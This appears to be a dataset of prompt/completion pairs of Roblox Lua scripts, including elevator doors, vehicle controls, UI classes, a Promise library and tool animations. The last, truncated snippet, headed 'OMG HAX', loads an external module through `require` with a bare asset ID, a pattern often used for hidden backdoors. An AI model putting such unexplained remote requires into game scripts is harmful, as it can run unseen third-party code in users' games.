prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
-------------------------
|
function DoorClose()
if Shaft00.MetalDoor.CanCollide == false then
Shaft00.MetalDoor.CanCollide = true
while Shaft00.MetalDoor.Transparency > 0.0 do
Shaft00.MetalDoor.Transparency = Shaft00.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) --Change 10 to change the speed.
end
if Shaft01.MetalDoor.CanCollide == false then
Shaft01.MetalDoor.CanCollide = true
while Shaft01.MetalDoor.Transparency > 0.0 do
Shaft01.MetalDoor.Transparency = Shaft01.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, 20, 0)
end
if Shaft02.MetalDoor.CanCollide == false then
Shaft02.MetalDoor.CanCollide = true
while Shaft02.MetalDoor.Transparency > 0.0 do
Shaft02.MetalDoor.Transparency = Shaft02.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, 20, 0)
end
if Shaft03.MetalDoor.CanCollide == false then
Shaft03.MetalDoor.CanCollide = true
while Shaft03.MetalDoor.Transparency > 0.0 do
Shaft03.MetalDoor.Transparency = Shaft03.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, 20, 0)
end
if Shaft04.MetalDoor.CanCollide == false then
Shaft04.MetalDoor.CanCollide = true
while Shaft04.MetalDoor.Transparency > 0.0 do
Shaft04.MetalDoor.Transparency = Shaft04.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, 20, 0)
end
if Shaft05.MetalDoor.CanCollide == false then
Shaft05.MetalDoor.CanCollide = true
while Shaft05.MetalDoor.Transparency > 0.0 do
Shaft05.MetalDoor.Transparency = Shaft05.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, 20, 0)
end
if Shaft06.MetalDoor.CanCollide == false then
Shaft06.MetalDoor.CanCollide = true
while Shaft06.MetalDoor.Transparency > 0.0 do
Shaft06.MetalDoor.Transparency = Shaft06.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, 20, 0)
end
if Shaft07.MetalDoor.CanCollide == false then
Shaft07.MetalDoor.CanCollide = true
while Shaft07.MetalDoor.Transparency > 0.0 do
Shaft07.MetalDoor.Transparency = Shaft07.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, 20, 0)
end
if Shaft08.MetalDoor.CanCollide == false then
Shaft08.MetalDoor.CanCollide = true
while Shaft08.MetalDoor.Transparency > 0.0 do
Shaft08.MetalDoor.Transparency = Shaft08.MetalDoor.Transparency - .1
wait(0.000001)
end
end
if Shaft09.MetalDoor.CanCollide == false then
Shaft09.MetalDoor.CanCollide = true
while Shaft09.MetalDoor.Transparency > 0.0 do
Shaft09.MetalDoor.Transparency = Shaft09.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
if Shaft10.MetalDoor.CanCollide == false then
Shaft10.MetalDoor.CanCollide = true
while Shaft10.MetalDoor.Transparency > 0.0 do
Shaft10.MetalDoor.Transparency = Shaft10.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
if Shaft11.MetalDoor.CanCollide == false then
Shaft11.MetalDoor.CanCollide = true
while Shaft11.MetalDoor.Transparency > 0.0 do
Shaft11.MetalDoor.Transparency = Shaft11.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
if Shaft12.MetalDoor.CanCollide == false then
Shaft12.MetalDoor.CanCollide = true
while Shaft12.MetalDoor.Transparency > 0.0 do
Shaft12.MetalDoor.Transparency = Shaft12.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
if Shaft13.MetalDoor.CanCollide == false then
Shaft13.MetalDoor.CanCollide = true
while Shaft13.MetalDoor.Transparency > 0.0 do
Shaft13.MetalDoor.Transparency = Shaft13.MetalDoor.Transparency - .1
wait(0.000001)
end
Car.BodyVelocity.velocity = Vector3.new(0, -20, 0)
end
end
function onClicked()
DoorClose()
end
script.Parent.MouseButton1Click:connect(onClicked)
script.Parent.MouseButton1Click:connect(function()
if clicker == true
then clicker = false
else
return
end
end)
script.Parent.MouseButton1Click:connect(function()
Car.Touched:connect(function(otherPart)
if otherPart == Elevator.Floors:FindFirstChild(script.Parent.Name)
then StopE() DoorOpen()
end
end)end)
function StopE()
Car.BodyVelocity.velocity = Vector3.new(0, 0, 0)
Car.BodyPosition.position = Elevator.Floors:FindFirstChild(script.Parent.Name).Position
clicker = true
end
function DoorOpen()
while Shaft08.MetalDoor.Transparency < 1.0 do
Shaft08.MetalDoor.Transparency = Shaft08.MetalDoor.Transparency + .1
wait(0.000001)
end
Shaft08.MetalDoor.CanCollide = false
end
|
--Input Handler
|
function DealWithInput(input,IsRobloxFunction)
if (UserInputService:GetFocusedTextBox()==nil) and not _InControls then --Ignore when UI Focus
--Shift Down [Manual Transmission]
if _IsOn and (input.KeyCode ==_CTRL["ContlrShiftDown"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftDown"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftDown"])) and (_TMode=="Semi" or (_TMode=="Manual" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then
if _CGear == 0 and (_TMode=="Auto" or not _ClPressing) then _ClutchOn = true end
_CGear = math.max(_CGear-1,-1)
--Shift Up [Manual Transmission]
elseif _IsOn and (input.KeyCode ==_CTRL["ContlrShiftUp"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftUp"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftUp"])) and (_TMode=="Semi" or (_TMode=="Manual" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then
if _CGear == 0 and (_TMode=="Auto" or not _ClPressing) then _ClutchOn = true end
_CGear = math.min(_CGear+1,#_Tune.Ratios-2)
--Toggle Clutch
elseif _IsOn and (input.KeyCode ==_CTRL["ContlrClutch"] or (_MSteer and input.KeyCode==_CTRL["MouseClutch"]) or ((not _MSteer) and input.KeyCode==_CTRL["Clutch"])) and _TMode=="Manual" then
if input.UserInputState == Enum.UserInputState.Begin then
_ClutchOn = false
_ClPressing = true
elseif input.UserInputState == Enum.UserInputState.End then
_ClutchOn = true
_ClPressing = false
end
--Toggle PBrake
elseif _IsOn and input.KeyCode ==_CTRL["ContlrPBrake"] or (_MSteer and input.KeyCode==_CTRL["MousePBrake"]) or ((not _MSteer) and input.KeyCode==_CTRL["PBrake"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_PBrake = not _PBrake
elseif input.UserInputState == Enum.UserInputState.End then
if car.DriveSeat.Velocity.Magnitude>5 then
_PBrake = false
end
end
--Toggle Transmission Mode
elseif (input.KeyCode == _CTRL["ContlrToggleTMode"] or input.KeyCode==_CTRL["ToggleTransMode"]) and input.UserInputState == Enum.UserInputState.Begin then
local n=1
for i,v in pairs(_Tune.TransModes) do
if v==_TMode then n=i break end
end
n=n+1
if n>#_Tune.TransModes then n=1 end
_TMode = _Tune.TransModes[n]
--Throttle
elseif _IsOn and ((not _MSteer) and (input.KeyCode==_CTRL["Throttle"] or input.KeyCode == _CTRL["Throttle2"])) or ((((_CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseThrottle"]) or input.KeyCode == _CTRL["MouseThrottle"])and _MSteer) then
if game.Players.LocalPlayer.PlayerGui["A-Chassis Interface"].AC6_Stock_Gauges.SelfDrive:GetAttribute("Enabled") == false then
if input.UserInputState == Enum.UserInputState.Begin then
_GThrot = 1
else
_GThrot = _Tune.IdleThrottle/100
end
end
--Brake
elseif ((not _MSteer) and (input.KeyCode==_CTRL["Brake"] or input.KeyCode == _CTRL["Brake2"])) or ((((_CTRL["MouseBrake"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseBrake"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseBrake"]) or input.KeyCode == _CTRL["MouseBrake"])and _MSteer) then
if game.Players.LocalPlayer.PlayerGui["A-Chassis Interface"].AC6_Stock_Gauges.SelfDrive:GetAttribute("Enabled") == false then
if input.UserInputState == Enum.UserInputState.Begin then
_GBrake = 1
else
_GBrake = 0
end
end
--Steer Left
elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerLeft"] or input.KeyCode == _CTRL["SteerLeft2"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_GSteerC = -1
_SteerL = true
else
if _SteerR then
_GSteerC = 1
else
_GSteerC = 0
end
_SteerL = false
end
--Steer Right
elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerRight"] or input.KeyCode == _CTRL["SteerRight2"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_GSteerC = 1
_SteerR = true
else
if _SteerL then
_GSteerC = -1
else
_GSteerC = 0
end
_SteerR = false
end
--Toggle Mouse Controls
elseif input.KeyCode ==_CTRL["ToggleMouseDrive"] then
if input.UserInputState == Enum.UserInputState.End then
_MSteer = not _MSteer
_GThrot = _Tune.IdleThrottle/100
_GBrake = 0
_GSteerT = 0
_ClutchOn = true
end
--Toggle TCS
elseif _Tune.TCSEnabled and _IsOn and input.KeyCode == _CTRL["ToggleTCS"] or input.KeyCode == _CTRL["ContlrToggleTCS"] then
if input.UserInputState == Enum.UserInputState.End then
_TCS = not _TCS
end
--Toggle ABS
elseif _Tune. ABSEnabled and _IsOn and input.KeyCode == _CTRL["ToggleABS"] or input.KeyCode == _CTRL["ContlrToggleABS"] then
if input.UserInputState == Enum.UserInputState.End then
_ABS = not _ABS
end
end
--Variable Controls
if input.UserInputType.Name:find("Gamepad") then
--Gamepad Steering
if input.KeyCode == _CTRL["ContlrSteer"] then
if input.Position.X>= 0 then
local cDZone = math.min(.99,_Tune.Peripherals.ControlRDZone/100)
if math.abs(input.Position.X)>cDZone then
_GSteerT = (input.Position.X-cDZone)/(1-cDZone)
else
_GSteerT = 0
end
else
local cDZone = math.min(.99,_Tune.Peripherals.ControlLDZone/100)
if math.abs(input.Position.X)>cDZone then
_GSteerT = (input.Position.X+cDZone)/(1-cDZone)
else
_GSteerT = 0
end
end
--Gamepad Throttle
elseif _IsOn and input.KeyCode == _CTRL["ContlrThrottle"] then
_GThrot = math.max(_Tune.IdleThrottle/100,input.Position.Z)
--Gamepad Brake
elseif input.KeyCode == _CTRL["ContlrBrake"] then
_GBrake = input.Position.Z
end
end
else
_GThrot = _Tune.IdleThrottle/100
_GSteerT = 0
_GBrake = 0
if _CGear~=0 then _ClutchOn = true end
end
end
UserInputService.InputBegan:connect(DealWithInput)
UserInputService.InputChanged:connect(DealWithInput)
UserInputService.InputEnded:connect(DealWithInput)
|
-- Public Constructors
|
function CheckboxLabelClass.new(frame)
local self = setmetatable({}, CheckboxLabelClass)
self._Maid = Lazy.Utilities.Maid.new()
self._ChangedBind = Instance.new("BindableEvent")
self.Frame = frame
self.Button = frame.CheckContainer.CheckButton
self.Changed = self._ChangedBind.Event
init(self)
self:SetValue(false)
return self
end
function CheckboxLabelClass.Create(text)
local cbLabel = CHECKBOX_LABEL:Clone()
cbLabel.Label.Text = text
return CheckboxLabelClass.new(cbLabel)
end
|
-- This is basically a function that finds all unanchored parts and adds them to childList.
-- Note: This should only be run once for each object
|
function checkObject(obj)
if (obj ~= hole) and (obj.className == "Part" and obj.Parent~=hole.Parent and obj~=tele2) then
if (obj.Anchored == false) then
table.insert(childList, 1, obj)
end
elseif (obj.className == "Model") or (obj.className == "Hat") or (obj.className == "Tool") or (obj == workspace) then
local child = obj:GetChildren()
for x = 1, #child do
checkObject(child[x])
end
obj.ChildAdded:connect(checkObject)
end
end
checkObject(workspace)
print("Black Hole script loaded.")
local n = 0
while true do
if n < #childList then
n = n + 1
if n % 800 == 0 then
wait()
end
else
n = 1
wait()
end
local child = childList[n]
if (child ~= hole) and (child.className == "Part") and (child.Anchored == false) then
local relPos = hole.Position - child.Position
local motivator = child:FindFirstChild("BlackHole Influence")
if relPos.magnitude * 240 * massConstant < mass then
if (relPos.magnitude * 320 * massConstant < mass) and (child.Size.z + hole.Size.x > relPos.magnitude * 2 - 4) then
mass = mass + child:GetMass()
table.remove(childList, n)
n = n - 1 -- This is the reason I need a counter of my own design
else
child.CanCollide = false -- I Can assume that things won't escape the black hole.
if motivator == nil then
motivator = Instance.new("BodyPosition")
motivator.Parent = child
motivator.Name = "BlackHole Influence"
end
motivator.position = hole.Position
motivator.maxForce = Vector3.new(1, 1, 1) * mass * child:GetMass() / (relPos.magnitude * massConstant)
end
elseif motivator ~= nil then
motivator:Remove()
end
end
end
|
--rayPart = Instance.new("Part")
--rayPart.Name = "MG Ray"
--rayPart.Transparency = .5
--rayPart.Anchored = true
--rayPart.CanCollide = false
--rayPart.TopSurface = Enum.SurfaceType.Smooth
--rayPart.BottomSurface = Enum.SurfaceType.Smooth
--rayPart.formFactor = Enum.FormFactor.Custom
--rayPart.BrickColor = BrickColor.new("Bright yellow")
--rayPart.Reflectance = 0
--rayPart.Material = Enum.Material.SmoothPlastic
|
function fireCoax()
local MGAmmo = tankStats.MGAmmo;
if MGAmmo.Value <= 0 then
return false;
end;
TFE:FireServer('FireMinigun',parts,tankStats,MGDamage,script.Parent)
wait(1/350*60);
return true;
end
|
-- Remeber to select the animtion object and set the id to your own!
|
local walkAnim = script:WaitForChild("Walk")
local walkAnimTrack = humanoid.Animator:LoadAnimation(walkAnim)
humanoid.Running:Connect(function(speed)
if speed > 0 then
if not walkAnimTrack.IsPlaying then
walkAnimTrack:Play()
end
else
if walkAnimTrack.IsPlaying then
walkAnimTrack:Stop()
end
end
end)
|
--[[
CastVisualiser Visuals.new(Color: Color3?, WorldRoot: WorldRoot?)
Creates and returns a CastVisualiser class.
--]]
|
local Meta = {__index = CastVisualiser}
function Visuals.new(Color: Color3?, WorldRoot: WorldRoot?): CastVisualiser
local self: CastVisualiserPrivate = setmetatable({
Color = Color or Color3.new(0, 0, 1),
WorldRoot = WorldRoot or workspace,
}, Meta)
-- Origin Part
local CastOriginPart = Instance.new("Part")
CastOriginPart.Transparency = 1
CastOriginPart.CanCollide = false
CastOriginPart.CanQuery = false
CastOriginPart.CanTouch = false
CastOriginPart.Anchored = true
CastOriginPart.Size = Vector3.one / 100
self.CastOriginPart = CastOriginPart
-- Visuals
local LineHandleAdornment = Instance.new("LineHandleAdornment")
LineHandleAdornment.Color3 = self.Color
LineHandleAdornment.AlwaysOnTop = ALWAYS_ON_TOP
LineHandleAdornment.Transparency = TRANSPARENCY
LineHandleAdornment.Thickness = LINE_THICKNESS
LineHandleAdornment.ZIndex = 1
LineHandleAdornment.Adornee = CastOriginPart
LineHandleAdornment.Parent = CastOriginPart
self.LineVisual = LineHandleAdornment
local ConeHandleAdornmnet = Instance.new("ConeHandleAdornment")
ConeHandleAdornmnet.Color3 = self.Color
ConeHandleAdornmnet.AlwaysOnTop = ALWAYS_ON_TOP
ConeHandleAdornmnet.Transparency = TRANSPARENCY
ConeHandleAdornmnet.Radius = 0.05
ConeHandleAdornmnet.Height = CONE_HEIGHT
ConeHandleAdornmnet.SizeRelativeOffset = Vector3.new(0, 0, CONE_HEIGHT * 2)
ConeHandleAdornmnet.ZIndex = 1
ConeHandleAdornmnet.Adornee = CastOriginPart
ConeHandleAdornmnet.Parent = CastOriginPart
self.ConeVisual = ConeHandleAdornmnet
local BoxHandleAdornment = Instance.new("BoxHandleAdornment")
BoxHandleAdornment.Color3 = self.Color
BoxHandleAdornment.AlwaysOnTop = ALWAYS_ON_TOP
BoxHandleAdornment.Transparency = TRANSPARENCY
BoxHandleAdornment.ZIndex = 0
BoxHandleAdornment.Adornee = CastOriginPart
BoxHandleAdornment.Parent = CastOriginPart
self.BoxVisual = BoxHandleAdornment
local SphereHandleAdornment = Instance.new("SphereHandleAdornment")
SphereHandleAdornment.Color3 = self.Color
SphereHandleAdornment.AlwaysOnTop = ALWAYS_ON_TOP
SphereHandleAdornment.Transparency = TRANSPARENCY
SphereHandleAdornment.ZIndex = 0
SphereHandleAdornment.Adornee = CastOriginPart
SphereHandleAdornment.Parent = CastOriginPart
self.SphereVisual = SphereHandleAdornment
return self
end
return Visuals
|
--[=[
Accepts an array of Promises and returns a Promise that is resolved as soon as `count` Promises are resolved from the input array. The resolved array values are in the order that the Promises resolved in. When this Promise resolves, all other pending Promises are cancelled if they have no other consumers.
`count` 0 results in an empty array. The resultant array will never have more than `count` elements.
```lua
local promises = {
returnsAPromise("example 1"),
returnsAPromise("example 2"),
returnsAPromise("example 3"),
}
return Promise.some(promises, 2) -- Only resolves with first 2 promises to resolve
```
@param promises {Promise<T>}
@param count number
@return Promise<{T}>
]=]
|
function Promise.some(promises, count)
assert(type(count) == "number", "Bad argument #2 to Promise.some: must be a number")
return Promise._all(debug.traceback(nil, 2), promises, count)
end
|
-- Determine the gun elevation and tilt
|
function determineNewDirections(targetVector)
local targElev = 0;
local targRot = 0;
local turretMain = parts.TurretRing2;
-- Vector normal to the plane which is the turret ring
local turretNormal = turretMain.CFrame.lookVector;
local angleFromNormal = turretNormal:Dot(targetVector);
-- Determine gun elevation
targElev = math.pi/2 - math.acos(angleFromNormal);
targRot= math.pi/2 - math.acos(angleFromNormal);
-- Projection of target vector onto the turret plane
local targetProjection = (targetVector - (angleFromNormal*turretNormal)).unit;
local forwardVector = ( (turretMain.CFrame - turretMain.CFrame.p) -- Orientation only of brick
* CFrame.new(0, -1, 0)).p; -- Translated down 1
-- Determine angle between forward vector and the projected target vector
targRot = math.acos(forwardVector:Dot(targetProjection));
-- Determine the sign of the angle
local vectorCross = forwardVector:Cross(targetProjection);
-- If the cross product is opposite to the normal vector, make the angle negative
if (vectorCross:Dot(turretNormal) < 0) then
targRot = -targRot;
end
-- Put rotation and elevation into an array
local rotations = {};
rotations[1] = targElev;
rotations[2] = targRot;
return rotations;
end
function sign(input)
if (input < 0) then
return -1;
else
return 1;
end
end
|
--Required components
|
local Players = game:GetService("Players")
local DataStoreService = game:GetService("DataStoreService")
local table = require(script.table) --If you're using this from GitHub, this is the table in the boilerplate folder.
local RegularSave = false
local RegularSaveNum = 300
local SaveInStudioObject = game:GetService("ServerStorage"):FindFirstChild("SaveInStudio")
local SaveInStudio = SaveInStudioObject and SaveInStudioObject.Value
local Debug = false
local Verifier = {}
function Verifier.typeValid(data)
return type(data) ~= "userdata", typeof(data)
end
function Verifier.scanValidity(tbl, passed, path)
if type(tbl) ~= "table" then
return Verifier.scanValidity({input = tbl}, {}, {})
end
passed, path = passed or {}, path or {"input"}
passed[tbl] = true
local tblType
do
local key, value = next(tbl)
if type(key) == "number" then
tblType = "Array"
else
tblType = "Dictionary"
end
end
local last = 0
for key, value in next, tbl do
path[#path + 1] = tostring(key)
if type(key) == "number" then
if tblType == "Dictionary" then
return false, path, "Mixed Array/Dictionary"
elseif key%1 ~= 0 then -- if not an integer
return false, path, "Non-integer index"
elseif key == math.huge or key == -math.huge then
return false, path, "(-)Infinity index"
end
elseif type(key) ~= "string" then
return false, path, "Non-string key", typeof(key)
elseif tblType == "Array" then
return false, path, "Mixed Array/Dictionary"
end
if tblType == "Array" then
if last ~= key - 1 then
return false, path, "Array with non-sequential indexes"
end
last = key
end
local isTypeValid, valueType = Verifier.typeValid(value)
if not isTypeValid then
return false, path, "Invalid type", valueType
end
if type(value) == "table" then
if passed[value] then
return false, path, "Cyclic"
end
local isValid, keyPath, reason, extra = Verifier.scanValidity(value, passed, path)
if not isValid then
return isValid, keyPath, reason, extra
end
end
path[#path] = nil
end
passed[tbl] = nil
return true
end
function Verifier.getStringPath(path)
return table.concat(path, ".")
end
function Verifier.warnIfInvalid(input)
local isValid, keyPath, reason, extra = Verifier.scanValidity(input)
if not isValid then
if extra then
warn("Invalid at "..Verifier.getStringPath(keyPath).." because: "..reason.." ("..tostring(extra)..")")
else
warn("Invalid at "..Verifier.getStringPath(keyPath).." because: "..reason)
end
end
return isValid
end
local function clone(value)
if typeof(value) == "table" then
return table.deep(value)
else
return value
end
end
|
--[[Brakes]]
|
Tune.ABSEnabled = true -- Implements ABS
Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS)
Tune.FBrakeForce = 3000 -- Front brake force
Tune.RBrakeForce = 2500 -- Rear brake force
Tune.PBrakeForce = 13000 -- Handbrake force
Tune.FLgcyBForce = 41000 -- Front brake force [PGS OFF]
Tune.RLgcyBForce = 36000 -- Rear brake force [PGS OFF]
Tune.LgcyPBForce = 150000 -- Handbrake force [PGS OFF]
|
--Made by Luckymaxer
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
RunService = game:GetService("RunService")
Camera = game:GetService("Workspace").CurrentCamera
Animations = {}
LocalObjects = {}
ServerControl = Tool:WaitForChild("ServerControl")
ClientControl = Tool:WaitForChild("ClientControl")
ToolEquipped = false
function SetAnimation(mode, value)
if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then
for i, v in pairs(Animations) do
if v.Animation == value.Animation then
v.AnimationTrack:Stop()
table.remove(Animations, i)
end
end
local AnimationTrack = Humanoid:LoadAnimation(value.Animation)
table.insert(Animations, {Animation = value.Animation, AnimationTrack = AnimationTrack})
AnimationTrack:Play(value.FadeTime, value.Weight, value.Speed)
elseif mode == "StopAnimation" and value then
for i, v in pairs(Animations) do
if v.Animation == value.Animation then
v.AnimationTrack:Stop()
table.remove(Animations, i)
end
end
end
end
function DisableJump(Boolean)
if PreventJump then
PreventJump:disconnect()
end
if Boolean then
PreventJump = Humanoid.Changed:connect(function(Property)
if Property == "Jump" then
Humanoid.Jump = false
end
end)
end
end
function CheckIfAlive()
return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Player and Player.Parent) and true) or false)
end
function Equipped(Mouse)
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
ToolEquipped = true
if not CheckIfAlive() then
return
end
PlayerMouse = Player:GetMouse()
Mouse.Button1Down:connect(function()
InvokeServer("MouseClick", {Down = true})
end)
Mouse.Button1Up:connect(function()
InvokeServer("MouseClick", {Down = false})
end)
Mouse.KeyDown:connect(function(Key)
InvokeServer("KeyPress", {Key = Key, Down = true})
end)
Mouse.KeyUp:connect(function(Key)
InvokeServer("KeyPress", {Key = Key, Down = false})
end)
Mouse.Move:connect(function()
InvokeServer("MouseMove", {Position = Mouse.Hit.p, Target = Mouse.Target})
end)
end
function Unequipped()
ToolEquipped = false
LocalObjects = {}
for i, v in pairs(Animations) do
if v and v.AnimationTrack then
v.AnimationTrack:Stop()
end
end
for i, v in pairs({PreventJump, ObjectLocalTransparencyModifier}) do
if v then
v:disconnect()
end
end
Animations = {}
end
function InvokeServer(mode, value)
local ServerReturn
pcall(function()
ServerReturn = ServerControl:InvokeServer(mode, value)
end)
return ServerReturn
end
function OnClientInvoke(mode, value)
if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then
SetAnimation("PlayAnimation", value)
elseif mode == "StopAnimation" and value then
SetAnimation("StopAnimation", value)
elseif mode == "PlaySound" and value then
value:Play()
elseif mode == "StopSound" and value then
value:Stop()
elseif mode == "MousePosition" then
return {Position = PlayerMouse.Hit.p, Target = PlayerMouse.Target}
elseif mode == "DisableJump" then
DisableJump(value)
elseif mode == "SetLocalTransparencyModifier" and value and ToolEquipped then
pcall(function()
local ObjectFound = false
for i, v in pairs(LocalObjects) do
if v == value then
ObjectFound = true
end
end
if not ObjectFound then
table.insert(LocalObjects, value)
if ObjectLocalTransparencyModifier then
ObjectLocalTransparencyModifier:disconnect()
end
ObjectLocalTransparencyModifier = RunService.RenderStepped:connect(function()
for i, v in pairs(LocalObjects) do
if v.Object and v.Object.Parent then
local CurrentTransparency = v.Object.LocalTransparencyModifier
if ((not v.AutoUpdate and (CurrentTransparency == 1 or CurrentTransparency == 0)) or v.AutoUpdate) then
v.Object.LocalTransparencyModifier = v.Transparency
end
else
table.remove(LocalObjects, i)
end
end
end)
end
end)
end
end
ClientControl.OnClientInvoke = OnClientInvoke
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
|
function onRunning(speed)
if speed>0 then
playAnimation("walk", 0.1, Humanoid)
pose = "Running"
else
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
end
end
function onDied()
pose = "Dead"
end
function onJumping()
playAnimation("jump", 0.1, Humanoid)
jumpAnimTime = jumpAnimDuration
pose = "Jumping"
end
function onClimbing()
playAnimation("climb", 0.1, Humanoid)
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
if (jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
end
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
function onSwimming(speed)
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end
function getTool()
for _, kid in ipairs(Figure:GetChildren()) do
if kid.className == "Tool" then return kid end
end
return nil
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end
function animateTool()
if (toolAnim == "None") then
playToolAnimation("toolnone", toolTransitionTime, Humanoid)
return
end
if (toolAnim == "Slash") then
playToolAnimation("toolslash", 0, Humanoid)
return
end
if (toolAnim == "Lunge") then
playToolAnimation("toollunge", 0, Humanoid)
return
end
end
function moveSit()
RightHip:SetDesiredAngle(3.14 /2)
LeftHip:SetDesiredAngle(-3.14 /2)
end
local lastTick = 0
function move(time)
local amplitude = 1
local frequency = 1
local deltaTime = time - lastTick
lastTick = time
local climbFudge = 0
local setAngles = false
if (jumpAnimTime > 0) then
jumpAnimTime = jumpAnimTime - deltaTime
end
if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
elseif (pose == "Seated") then
stopAllAnimations()
moveSit()
return
elseif (pose == "Running") then
playAnimation("walk", 0.1, Humanoid)
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
-- print("Wha " .. pose)
amplitude = 0.1
frequency = 1
setAngles = true
end
if (setAngles) then
desiredAngle = amplitude * math.sin(time * frequency)
RightHip:SetDesiredAngle(-desiredAngle)
LeftHip:SetDesiredAngle(-desiredAngle)
end
-- Tool Animation handling
local tool = getTool()
if tool then
animStringValueObject = getToolAnim(tool)
if animStringValueObject then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = time + .3
end
if time > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
stopToolAnimations()
toolAnim = "None"
toolAnimTime = 0
end
end
|
--[[
___ _______ _ _______
/ _ |____/ ___/ / ___ ____ ___ (_)__ /__ __/
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< / /
/_/ |_| \___/_//_/\_,_/___/___/_/___/ /_/
SecondLogic @ Inspare
Avxnturador @ Novena
]]
|
local autoscaling = true --Estimates top speed
local UNITS = { --Click on speed to change units
--First unit is default
{
units = "MPH" ,
scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH
maxSpeed = 230 ,
spInc = 20 , -- Increment between labelled notches
},
}
|
--[=[
@param optionB Option
@return Option
If caller has a value, returns itself. Otherwise, returns `optionB`.
]=]
|
function Option:Or(optionB)
if self:IsSome() then
return self
else
return optionB
end
end
|
-- *** PUBLIC METHODS *** --
|
function Input:remove ()
for _,event in pairs (self._events) do
event:disconnect ();
end
self._events = { };
end
|
--Pre-Toggled PBrake
|
for i,v in pairs(car.Wheels:GetChildren()) do if math.abs(v["#AV"].maxTorque.Magnitude-PBrakeForce)<1 then _PBrake=true end end
|
--p:WaitForChild("detect").Weld.C0 = CFrame.new(Vector3.new(-4.09,0,0))
--p:WaitForChild("detect").Weld.C1 = CFrame.new(Vector3.new(0,0,0))
--i hate roblox welds
|
local last = os.time()
p.spotter.Touched:Connect(function(hit: Part)
while #game.Workspace.CurLevel:GetChildren() == 0 do
task.wait()
end
if hit.Parent:FindFirstChild("Humanoid") and os.time() - last >= 0.1 and active and not hit:IsDescendantOf(game.Workspace.CurLevel:GetChildren()[1].PuzzleElements.Guards) then
last = os.time()
if hit.Parent:FindFirstChild("Humanoid").Health > 0 then
hit.Parent:FindFirstChild("Humanoid").Health -= 49
end
end
end)
explodeBindable.Event:Connect(function()
if active then
active = false
p.camera.Indicator.Color = Color3.fromRGB(255,0,0)
p.camera.top.Anchored = false
p.spotter.Transparency = 1
camera1st:Cancel()
camera2nd:Cancel()
spotter1st:Cancel()
spotter2nd:Cancel()
end
end)
while task.wait() and active do
camera1st:Play()
spotter1st:Play()
spotter1st.Completed:Wait()
task.wait(config.GoalWaitTime.Value)
camera2nd:Play()
spotter2nd:Play()
spotter2nd.Completed:Wait()
task.wait(config.GoalWaitTime.Value)
end
|
-------- OMG HAX
|
r = game:service("RunService")
Tool = script.Parent
local equalizingForce = 236 / 1.2 -- amount of force required to levitate a mass
local gravity = .9999999999999999 -- things float at > 1
local jumpScript = require(4965769761)
local ghostEffect = nil
local massCon1 = nil
local massCon2 = nil
function recursiveGetLift(node)
local m = 0
local c = node:GetChildren()
for i=1,#c do
if c[i].className == "Part" then
